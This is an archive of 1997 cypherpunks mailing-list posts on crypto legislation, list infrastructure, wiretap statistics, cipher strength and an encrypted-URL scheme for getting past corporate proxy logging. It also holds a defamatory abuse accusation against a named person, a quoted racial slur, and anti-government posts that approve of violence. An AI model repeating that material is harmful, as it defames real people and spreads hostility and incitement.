Message-ID: <19970513211124.83.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 12 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: PGP
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that 
> Graham-John Bullers wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 10:32:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <v03007805af9ed5fd9760@[207.167.93.63]>
Message-ID: <199705140219.VAA12003@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007805af9ed5fd9760@[207.167.93.63]>, on 05/13/97 at 08:50 PM,
   Tim May <tcmay@got.net> said:


>The "duplicates" issue has been discussed by others. Even if message IDs
>are not enough to find duplicates--someone reported that the same message
>from algebra and cyberpass have different IDs--I would think that using
>the sender, message title, and date of origin ought to be more than enough
>to spot duplicates.

>Thus, the message "Re: The Interlinked Cypherpunks Lists? (fwd), 4:34 PM
>-0800 5/13/97, Jim Choate" should be unique.

I have been doing some work in this area and IMHO the above is not enough
to properly weed out the duplicates. Not that it woun't catch them but it
will also throw out some non duplicate messages. I would recomend that the
criteria be extended to include the seconds in the time stamp (4:34:25). If
the seconds are not available perhaps generating a hash of the messages
body and compairing would work.

I'm not trying to quibble but I have seen in the past where an author will
post a message and there will be multiple replies to the message. The
author will then reply to the replies and several of these messages will
have the only difference will be the seconds on the time stamp.

Awhile back on one of my e-mail client list their was a disscussion on
wether the time stamp of a message should be generated at the time the
message is composed or at the time the message is sent. We had come to the
conclution that the time the message was composed was the best route to
take. Other e-mail clients may have taken the other route which would
increase the chances on non duplicate messages haveing the same hour:min in
the time stamp.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 09:39:09 +0800
To: cypherpunks@toad.com
Subject: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514012608.008ff084@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer the text and three summary tables of the
U.S. Courts "1996 Wiretap Report" at:

   http://jya.com/96wiretap.htm  (36K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 10:38:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <v03007805af9ed5fd9760@[207.167.93.63]>
Message-ID: <199705140227.VAA18280@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> At 4:34 PM -0800 5/13/97, Jim Choate wrote:
> 
> >> > * Is it possible for the interlinked lists to send out announcements of
> >> > list problems to subscriber of all such lists? (Each list owner could do a
> >> > periodic "who cypherpunks" of the other lists, then use this list to
> >>send a
> >> > message if a problem comes up. More sophisticated cross-processing could
> >> > eliminate duplicates, etc.)
> >
> >Sounds like time to start another list subscribed to the existing nodes
> >and offer such services to the subscribers at the operators whim.
> >
> >I oppose any action which would force the list to become more 'cooperative'
> >in the sense that each node operator would be forced (sorta anti-cpunks I
> >believe) to comply with some set of scripts and such they didn't develop in
> 
> I wasn't advocating either:
> 
> a) any "forcing" of anything
> 
> b) any compliance with scripts, cooperation, etc.
> 
> Instead, imagine this "service":
> 
> - a distribution point (= list) which subscribes to all of the various
> lists (cyberpass, algebra, ssz, etc.)
> 
> - it sends out to subscribers the first instance of any message it receives
> 
> - duplicates (see discussion below) would not be sent
> 
> - it would, ideally, be on a robust machine
> 
> The "duplicates" issue has been discussed by others. Even if message IDs
> are not enough to find duplicates--someone reported that the same message
> from algebra and cyberpass have different IDs--I would think that using the
> sender, message title, and date of origin ought to be more than enough to
> spot duplicates.

Tim, what you are proposing is no different from any other cypherpunks
node. So if you suggest to add more nodes, I am all for it.

What you describe above is precisely what algebra, cyberpass, and
ssz.com do now.

It is not a "just another service" as you suggest below, it is
exactly the same service, but on a new node.

Actually, I think that it is important to add one more node to the
network: ssz.com has mail delivery problems and the two more or less
reliable nodes are cyberpass and algebra. I do not see it as *sufficiently*
robust, since the probability of both of them being down is on the
order of 0.5%.

> No, this is just another filtering service, one designed to collect
> messages from as many inputs as possible and send them out, without
> duplicates.

> "Get a life." What an original insult.

> Reminds me why you usually reside in my filter file, Jim. Back in it you go.

Tim, if you read what goes into your filter file, putting anyone there
does not mean that you ignore them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 13:06:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <v03007808af9ef441b39e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970513213103.18020C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Nope, SAFE isn't dead. I'll bet you a couple bucks it'll make it out of
House Judiciary in about 14 hours. Markup Wednesday at 1:30 pm, followed
by a vote on the flag burning amendment. (Oh baby!)

Goodlatte came up to me after the subcommittee vote not long ago and told
me how he had the votes on Judiciary to get it through, no sweat. But then
it goes I believe to International Relations as part of a sequential
referral. We'll see what happens there. More opposition, certainly.

There's some minor good news. The "crypto in furtherance of a crime" 
provision likely will be yanked in favor of an eight-part test that's
going to be pretty damn tough for prosecutors to prove. I have the text on
my Duo and I'm on my NeXT, so I won't include it here but I may send it
along later. (BTW, I just installed Mach Ten on my Duo. Finally, a csh
prompt on a Mac!) 

Still, I'm not happy with it. I think the best way to deal with the crypto
embargo is to let the courts decide. (I'm particularly a fan of Peter's
lawsuit.) That, and write code. 

-Declan


On Tue, 13 May 1997, Tim May wrote:
> Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
> sigh of relief for at least a few more months?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 14 May 1997 11:41:13 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: <199705140332.WAA12963@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140116.UAA23579@einstein.ssz.com>, on 05/13/97 at 07:16 PM,
   Jim Choate <ravage@EINSTEIN.ssz.com> said:


>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Tue, 13 May 97 20:33:41 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

>> >> Every bill that *is not* passed by congress is just that much more freedom
>> >> that is saved. If all the bills passed by congress over the past 100yrs.
>> >> could all be repealed no one would miss them in the least (well no one
>> >> except the STATEST). 
>> 
>> >Yeah,
>> 
>> >Blacks could go back to being niggers.
>> >Women could go back to being barefoot and pregnant
>> >etc...
>> 
>> >Talk about statest.
>> 
>> I don't know where you get the above from?

>Constitutional Amendments are general passed by Congress. Hence, your
>statement taken literaly is advocating a great deal of good that has come
>from such actions.

Well I was not thinking of Constitutional Amendments when I made my
orriginal statement as they require ratification by the States to become
law. After thinking on it awhile though I think it would be vailid to
include some of them. I don't have a copy of the Constitution handy so I
will try to address them from memory.

Voting Amendments:

If I recall right there was nothing in the constitution that prevented
women from voting. This was done through state law. I beleive with the
growing support of the sufferget movemnet in the country at the time that
this issue would have been resolved either at the state level or through SC
rulling that the states were acting unconstitionally. I beleive that this
is how the Jim Crow and other state voting laws were abolished.

I do think that droping the voting age from 21 to 18 was a good thing. If
you are old enough to fight and die for your country you should be old
enough to vote for/against the bastards that are getting you killed.

Anti-Discrimination Amendments:

While I think that it was a good thing to abolish State enforced
discrimination I do not like the intrusion into the private sector that has
been a result. I beleive that there is a "right of association" that every
individule has. I should be able to determin who I associate with on
whatever basis I chose to make that determinination. I could go on for
pages on this subject but I beleive that overall such legislation has hurt
the Black community more than it has helped it.


>> I supose that your statest brainwashing has convinced you that such social
>> issues could have only been resolved by Federal intervention. Quite the
>> contrary is true. Any laws passed by congress in these areas were brought
>> about *because* society was already moving in those directions not the
>> other way around.

>I was a small boy in the 60's in and around Houston. I remember what it
>was like before and after the desegregation that took place in the
>mid-60's when I started elementary. I can promise you from personal
>experience there were still seperate washrooms and fountains. Sweeney, Tx.
>still had a sign on Interstate 90 that said (and I quote) "If you are
>black don't let the sun set on you in Sweeney." (the sign was on private
>property adjacent to the interstate I found out years later)

I never questioned that such things went on. Much of this was enforced by
law which was wrong.

>As to a little modern social commentary. Ride the city bus in your town
>for 1 month each day. During that time keep track of where people sit.
>Would you like to explain why the majority of blacks still sit in the back
>of the bus?

Well since I haven't rode the bus in years I really can't confirm or deny
this. I don't recall this when I rode the L and buses in Chicago but then
again it was not somthing I really paid attention to. (Personaly I prefer
riding towrads the back of the bus but it does not have the stigma
associated with it that it may for others).

>And for those who are white with real cajones, walk into a black bar
>around 1AM on a Sunday.

Heh, I do this quite often. :) As an avid Jazz & Blues fan and so-so
Corrnet player I have frequented "black" bars in Chicago, KC, St. Louis,
Houston, & New Orleans. I never experinced any problems outside of the
normal things that happen if you spend enough time in the bars.

I also consider myself a fairly good pool player which tends to bring me
into "black" bars and pools halls on a regular basis.

Now if you are talking of some hole-in-the-wall right around the corner
from the projects then no I do not frequent such places late at night but I
doubt that many middle class black do either. Well there was an after hours
joint I used to go to on Galviston but stoped going after the guy I was
talking to got his kneecap blown off. I decided it was much wiser just to
get a carryout at 2am. :)

>> If someone is going to descriminate on the basis of race or sex or any
>> other criteria they are going to do so reguardless of what laws are passed
>> in DC.

>Absolutely, as is their Constitutionaly protected right. THE FEDERAL
>GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
>EVER, PERIOD. Private individuals and companies should, and can,
>discriminate to their hearts content. I personaly wouldn't deal with a
>business that I knew a priori discriminated against employees or customers
>based on sex, religion, etc. as a matter of standard policy. I suspect
>that most others with 2 halves of a clue to rub together would refuse as
>well.

Absolutly. I have always beleived that the only color that truely matters
in this country is green. If a company or indivdule does not ingage in a
policy that you support then vote with your wallet. This brings me back to
my orriginal message. Things did not start to change in this country until
the Black community, with the support of many whites, rallied together and
refused to accept the status quo. This is why things started to change back
in the 60's not because of legislation from DC. The polititions were merly
jumping on the bandwagon.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3lBTY9Co1n+aLhhAQFSjAP9HwSzeQev9/qlw5tcb6LVBuxC5gXtyVoK
XLn49KuYTC6BmYlupF4Ck+yqirfZGSXIJyyZxVPHbIAPPfeH1FbaWhPEOua9J3MB
AAL67V3VID0nlLHV3WJ9ni1dn8++/KX/A0wQ8I7Ptz0lEsxywt9AKzJzFNaN0F8N
uFTM5pSW4gk=
=h3iH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 13:11:13 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <199705140456.VAA05054@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:34 5/13/97 -0700, Kent Crispin wrote:
>On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>>Governments have murdered 170 million people since 1900.  My
>>back-of-the-envelope estimate is that the civilians of the world have only
>>murdered about 20 million people in the same period of time.  Quite a
>>disparity.
>
>Your estimate seems high to me.  But it is meaningless, in any case.

This isn't the first time you've called information that is detrimental to
your position words equivalent to "meaningless."  I suppose that's easier
than disproving the other person's claim, or proving your own.  

>First of all, it neglects to consider that governments may have 
>prevented more murders than they caused.  This is unknowable, since 
>we don't have any worthwhile control cases.

Your position is laughable.  Statistics on murder rates are knowable for
many countries.  Studying the murder rate for those countries will at least
provide a range against which deaths due to government-caused wars can be
compared.  

>Second, such cases of civil breakdown aside, all humans, for now and
>for the conceivable future, live within the context of some kind of
>government.  The option of non-government simply doesn't exist. 

That's precisely what the governments and their agents want us to believe.
Minarchism is certainly possible, and at the risk of appearing to blow my
own AP-horn, it is indeed plausible that the public can take down all
governments in a reasonably straightforward fashion.  The fact that
governments will strongly dislike this option is no reason to not consider
the possibility.


> The 
>issue is how can governments be improved.


By eliminating them, of course.

>Third, murders caused by governments can't really be separated from
>murders caused by individuals.  That is, in many cases deciding
>whether a murder is a personal action or a government action is
>impossible. 

"Aye vas joost vollowink orderz!"

Sorry, we're still laughing at you.

>Fourth, it's fashionable in these circles to paint all governments
>with the same brush, but in fact, some are much better than others.  
>But it only takes one bad one to start a war.  Furthermore, human 
>motivations are complex and irrational, so wars are started for 
>essentially insane reasons.  This is a human problem, not a problem 
>of government.

No, quite the contrary.  Considered from the perspective of the cumulative
interests of society, wars are not beneficial or "profitable."  Only from
the very limited viewpoint of the military-industrial complex and government
employees does war appear to be a net benefit, and that's true only because
the interests of most of the population (on whom the effect of war is a net
negative) is ignored.  The reason war occurs is that the decision to have a
war is made not by society as a whole, but by that tiny fraction which profits.

Put the decision to have the war back into the hands of the population as a
whole, and war will decrease.  Give the public the option to make war upon
the government parasites infesting their own land, and war will end forever.

>[Parenthetically, it is absolutely amazing to me that he and
>practically everyone on this list just seems to assume McVeigh is
>guilty...do they know something I don't?]

For the purposes of most of the arguments we make, the identity of the
actual bomber is irrelevant.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 14 May 1997 13:21:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <199705140035.TAA10601@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970513220459.18020F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I appreciate William's comments, but he fails to understand the reality of
the situation. Let's forget about the "furtherance" provision for a
moment.

Congress is not passing a new law in lifting export controls. Rather, it
is reducing the sweep of one it already passed that the White House has
abused.

-Declan


On Tue, 13 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <v03007804af9ea94e831c@[168.161.105.191]>, on 05/13/97 at 05:32 PM,
>    Declan McCullagh <declan@well.com> said:
> 
> 
> >The Net's crypto wet-dreams were demolished this afternoon by a
> >Congressional committee's fear of coffee-drenched kids and the Ku Klux
> >Klan.
> 
> [Discription of a typical day in congress sniped]
> 
> 
> >It worked. By 5:15 pm, after a dozen amendments, the committee passed the
> >"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
> >faced with the choice of bashing the KKK or tackling crypto policy, what
> >would you do?
> 
> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 
> 
> SAFE was a bad ideal as any law regulating crypto. I do not need DC's
> permision to exercise my 1st Admendment rights any more than I need their
> permision to exercise any of my rights.
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
>                           
> Finger whgiii@amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
>  
> Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3kX0Y9Co1n+aLhhAQFNmgP+NYbfMx5fX506NhGiCQVS/3IGo2/b3IcE
> mBLEsVnOwggkrz/ebO5r4rnQNhKTzd0tCqxQtGAtR7lRna/cQsFg2wqVHpwX/G70
> SWrrlsm1DI0rEFKIi1bSbJ4tkDMpdQQOhtwYRDLUXHH/JuWh0B19wZZ0yYi6WwBy
> 3BH+23/iba0=
> =QUcl
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 14 May 1997 10:25:44 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Spoofing Corporate Proxy Servers: poor man's SSL
Message-ID: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
My company, as well as many of yours I'm sure, uses a proxy server to give
its users access to the internet beyond its firewall.  There are strict
policies concerning what is and isn't viewable or retreivable according to
corporate guidelines.  Unfortunately, the people making these policies
aren't always as open and "fair" as they could be.  Not to mention the fact
that each and every request is logged and achived for eternity (or at least
as long as the CDs and/or tapes last).

Some of you may remember my post from ~6 months ago concerning my company's
view on the use of PGP (they didn't like it and were very frank about it).
My pursuit of crypto-related information is viewed very dimly, even while
at the same time I am told to implement certain levels of crypto in some of
the applications I develop.  The constant barrage of "why did you visit
this page?", or "what does this application you downloaded do?" is not only
irritating but counter-productive.  This got me thinking: disregarding
outside proxy schemes (such as Anonymizer), we can't really keep the proxy
server from knowing the site we are connecting to.  We can, however, hide
the page we are retrieving.

Suppose each web server had a public/private key pair, sort of like SSL.
Instead of requesting a page using the normal "GET /mypage.html HTTP/1.1"
method, the user could encrypt the URL with the server's public key (along
with appropriate headers and a random string to prevent known-plaintext
attacks) and pass that to a CGI or even a dedicated server on another port.
 The server then decrypts the request, which may or may not have included a
public key to encrypt the response, grabs the appropriate page, and sends
it back (possibly encrypted).  Other than the CGI (or the port number of
the dedicated server), the proxy server has no idea what document has been
retrieved.  Essentially we have made a remailer out of an HTTPd,
tangentally related to Adam's Eternity server, sort of like a poor-man's SSL.

For extensibility concerns, a loose protocol would have to be developed
such that different encryption schemes could be plugged in, but even a Perl
POST CGI using PGP would be trivial.  This would not only solve security
problems (varying keysizes would set the security of the data), but could
remove the corporate presence from the HTTPS market (who wants to pay
$150/key, when you can generate 2048-bit keys with PGP?).  While this does
not stop the proxy server admins from simply blocking the entire site, it
does at least offer anonymity until they figure it out.  (I successfully
used the Anonymizer for about 2 weeks before it was blocked.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
(A)bort, (R)etry, (T)ake down entire network?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 13:32:56 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
Message-ID: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill. 

Feinswine never saw a gun/mind control bill she didn't like. She is an
ultra fascist that rose to power thanks to the yellow dog Bay Area voters.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 12:21:44 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705131735.NAA11422@dhp.com>
Message-ID: <y70N7D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> On Sun, 11 May 1997, Paul Bradley wrote:
>
> >> >   How many government employees quit in outrage, stating that
> > > they would not take part in such atrocities? How many took a
> > > vocal moral stand against their superiors, or exposed the
> > > government duplicity involved in the police action?
> >
> > They are all whores, so I suggest we fuck them like whores.
> >
>
> No thanks, you have to pay for whores.  Let's not give them any more
> business.  Besides, who knows what VD government whores carry. AP is
> better. FP (Fucking Politicians) is what they do best to each other.
>
> WhoreMonger.

Unlike government employee parasites, whores do something for a living.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 14:20:37 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:22 PM 5/11/97 -0400, Black Unicorn wrote:
>As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
>keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

Unfortunately, Schneier doesn't do a very good job at discussing the
strength of 3DES. This probably is to be expected, since there is no fixed
effective keylength of 3DES and a more detailed discussion would likely
exceed the format of Applied Cryptography. The work factor of breaking 3DES
depends on the number of known plaintexts. At best, the effective keylength
is 112 bits. At worst (this is an unlikely, perhaps unrealistic worst) the
effective keylength is ~90 bits. Contrast this with DESX, which has been
proven to be twice as hard as DES, therefore having an effective keylength
of 112 bits.

>It costs little today to develop a cipher with larger keyspace.  (DES with
>independent subkeys already exists and has a basic keyspace of 768 bits.
>A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
>the cipher briefly).  If users are willing to deal with large keys (I
>certainly am) then software designers are restraining a more secure
>implementation.

It costs lots to develop a cipher with a larger keyspace that has a known,
or reasonably assumed, work factor of higher than 112 bits. Again, it takes
years to cryptanalyze a new cipher.

It isn't software designers that are restraining more secure
implementations. The software designers don't have any better algorithms to
work with because the theorists haven't agreed on anything better yet.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 11:10:10 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514024518.00816d50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


William Geiger wrote:

>I noticed in the summary report that e-mail intercepts were used. Is there
>more detailed information on this? I would be interested to know how
>involved the govenment is becoming involved in this area. Of great interest
>would be the location and means used to do such taps.

We could find no listing of E-mail intercepts in the
tables, so it's not clear what the summary was
referring to beyond stating that "electronic mail"
was included under "electronic intercepts" along
with digital display pagers, voice pagers, and
cellular phones.

The tables list intercept information under two categories:
Type and Place.

Type:

1. Phone Wire
2. Micro-Eavesdrop
3. Electronic
4. Not Reported

Place:

1. Single-Family Dwelling
2. Apartment
3. Multiple Dwelling
4. Business
5. Roving
6. Other

"Other" is further listed as:

Automobile/Van
Briefcase
Cellular/Mobile Phone
Cemetary
Closed Circuit TV
Container
Digital Display Pager
Facsimile
Garage/Parking Lot
Hospital
Hotel Room/Motel Room
Jail
Mobile Home/Trailer
Package/Cargo
Pay Phone
Pen Register
Prison
Social Club
Storage
Telefax
Courthouse
Street
Computer

We found only a single instance where the "place" was
a computer.

BTW, the 193-page printed report is available free from
the Administrative Office of the U.S. Courts. 

Telephone: 202-273-2156.

Web site: http://www.uscourts.gov/

Folks there were quite helpful, so it's possible that you
might get E-mail intercept details from them by
requesting it. If you do, let us know, quick!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 14:13:26 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <199705140456.VAA05054@mail.pacifier.com>
Message-ID: <19970513225047.26856@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 09:52:44PM -0800, Jim Bell wrote:
> At 19:34 5/13/97 -0700, Kent Crispin wrote:
> >Your estimate seems high to me.  But it is meaningless, in any case.
> 
> This isn't the first time you've called information that is detrimental to
> your position words equivalent to "meaningless."  I suppose that's easier
> than disproving the other person's claim, or proving your own.  

Ho hum.

> >First of all, it neglects to consider that governments may have 
> >prevented more murders than they caused.  This is unknowable, since 
> >we don't have any worthwhile control cases.
> 
> Your position is laughable.  Statistics on murder rates are knowable for
> many countries.  Studying the murder rate for those countries will at least
> provide a range against which deaths due to government-caused wars can be
> compared.

Only meaningful if you can compare with murder rates in a human 
society without a government...but of course, in fact the only time 
this happens is when society breaks down entirely.

And I am fascinated with the way you make the "government" into a 
bogeyman that is responsible for all the evils that beset the human 
race.  No consideration of other factors -- racial and tribal hatred, 
religious conflicts, class conflicts, etc etc.  A wonderful 
simplification. 

> >Second, such cases of civil breakdown aside, all humans, for now and
> >for the conceivable future, live within the context of some kind of
> >government.  The option of non-government simply doesn't exist. 
> 
> That's precisely what the governments and their agents want us to believe.
> Minarchism is certainly possible,

Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
want, except that some evil force is preventing them from getting to
it, and you, Jim Bell, are the savior that is going to bring it 
about.  A classic messiah complex.

[...]

> >Third, murders caused by governments can't really be separated from
> >murders caused by individuals.  That is, in many cases deciding
> >whether a murder is a personal action or a government action is
> >impossible. 
> 
> "Aye vas joost vollowink orderz!"
> 
> Sorry, we're still laughing at you.

When the LA cops beat up Rodney King, do you suppose they got any 
personal satisfaction out of it?  Or were they just cold government 
functionaries, doing their job?

> >Fourth, it's fashionable in these circles to paint all governments
> >with the same brush, but in fact, some are much better than others.  
> >But it only takes one bad one to start a war.  Furthermore, human 
> >motivations are complex and irrational, so wars are started for 
> >essentially insane reasons.  This is a human problem, not a problem 
> >of government.
> 
> No, quite the contrary.  Considered from the perspective of the cumulative
> interests of society, wars are not beneficial or "profitable."  Only from
> the very limited viewpoint of the military-industrial complex and government
> employees does war appear to be a net benefit, and that's true only because
> the interests of most of the population (on whom the effect of war is a net
> negative) is ignored.  The reason war occurs is that the decision to have a
> war is made not by society as a whole, but by that tiny fraction which profits.

So of course ideology could never start a war -- Arabs and Jews *only*
fight because of their governments, the American revolutionary war 
was *only* fought because the state governments wanted more power, 
the Tutsi's and the Hutus only fought because their governments 
forced them.  A wonderful simplification, blaming everything on 
"government". 

> Put the decision to have the war back into the hands of the population as a
> whole, and war will decrease.  Give the public the option to make war upon
> the government parasites infesting their own land, and war will end 
> forever.

A wonderful dream, truly.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 14:21:34 +0800
To: jamesd@echeque.com
Subject: Re: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: <v0300780aaf9f103e46dd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 PM -0800 5/13/97, Declan McCullagh wrote:
>I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
>provision? See:
>
>  SEC. 6. INFORMATION SECURITY BOARD.
>
>   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
>       establish an Information Security Board comprised of
>       representatives of agencies within the Federal Government
>       responsible for or involved in the formulation of information
>       security policy, including export controls on products with
>       information security features (including encryption). The Board
